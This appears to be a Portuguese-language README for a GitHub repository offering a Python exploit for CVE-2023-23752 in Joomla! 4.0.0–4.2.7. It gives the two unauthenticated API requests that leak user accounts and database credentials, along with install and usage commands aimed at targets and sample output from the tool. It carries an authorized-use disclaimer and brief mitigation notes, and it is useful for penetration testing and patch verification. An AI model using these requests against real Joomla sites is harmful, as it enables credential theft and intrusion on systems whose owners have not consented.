
Python port of the CVE-2023-23752 exploit — Joomla! < 4.2.8 unauthenticated information disclosure (user list + DB credentials leak)
⚠️ Aviso: Esta ferramenta é destinada apenas para fins educacionais e testes de penetração autorizados. Use-a apenas contra sistemas que você possui ou para os quais tenha permissão explícita por escrito para testar. O uso não autorizado é ilegal.
O Joomla! é um dos sistemas de gerenciamento de conteúdo (CMS) de código aberto mais amplamente utilizados. As versões 4.0.0 a 4.2.7 expõem dois endpoints de API sem controle de acesso adequado, permitindo que um invasor não autenticado recupere informações sensíveis: contas de usuário registradas e, em configurações vulneráveis, as credenciais do banco de dados do site.
A vulnerabilidade foi descoberta por Zewei Zhang do NSFOCUS TIANJI Lab e divulgada ao projeto Joomla!, que lançou um patch na versão 4.2.8. Foi atribuído CVE-2023-23752.
Este repositório contém uma portabilidade para Python do exploit Ruby original lançado pela ACCEIS.
Os endpoints do serviço web da API REST do Joomla! devem aplicar autenticação e verificações de acesso antes de retornar dados. Nas versões afetadas, dois endpoints falham ao realizar essa verificação corretamente quando chamados com o parâmetro de consulta public=true, tratando a solicitação como se viesse de um nível de acesso "público" anônimo que deveria expor apenas dados não sensíveis — mas, em vez disso, vaza informações internas.
GET /api/index.php/v1/users?public=true
GET /api/index.php/v1/config/application?public=true
O script automatiza os seguintes passos:
1. Enviar solicitação GET para /api/index.php/v1/users?public=true
2. Analisar a resposta JSON:API e extrair registros de usuários
3. Enviar solicitação GET para /api/index.php/v1/config/application?public=true
4. Analisar a resposta JSON:API e extrair configurações do site + banco de dados
5. Imprimir ambos os conjuntos de dados no console
Nenhuma autenticação, sessão ou token CSRF é necessário em nenhum momento — todo o ataque consiste em duas solicitações GET não autenticadas.
requestspip install requests --break-system-packages
git clone https://github.com/BardLaudian/CVE-2023-23752.git
cd CVE-2023-23752
pip install requests --break-system-packages
usage: CVE-2023-23752.py [-h] url
positional arguments:
url URL base do alvo, ex.: http://dev.devvortex.htb
options:
-h, --help mostra esta mensagem de ajuda e sai
python3 CVE-2023-23752.py http://127.0.0.1:4242
python3 CVE-2023-23752.py http://dev.devvortex.htb
=== Usuários ===
[123] Administrator (admin) - [email protected] - ['Super Users']
=== Informações do site ===
Nome do site: My Site
Editor: tinymce
Captcha: 0
Acesso: 1
Status de debug: False
=== Informações do banco de dados ===
Tipo de BD: mysqli
Host do BD: localhost
Usuário do BD: joomla_user
Senha do BD: ********
Nome do BD: joomla_db
Prefixo do BD: sd8f2_
Criptografia do BD: 0
/api/index.php/* no servidor web ou WAF se a atualização não for possível imediatamente./api/index.php/v1/.| Campo | Valor |
|---|
| CVE | CVE-2023-23752 |
| Afetado | Joomla! 4.0.0 – 4.2.7 |
| Tipo | Controle de Acesso Incorreto / Divulgação de Informações |
| Privilégios | Nenhum (não autenticado) |
| Impacto | Divulgação de contas de usuário e credenciais do banco de dados |
| Patch | Joomla! 4.2.8 (lançado em 2023) |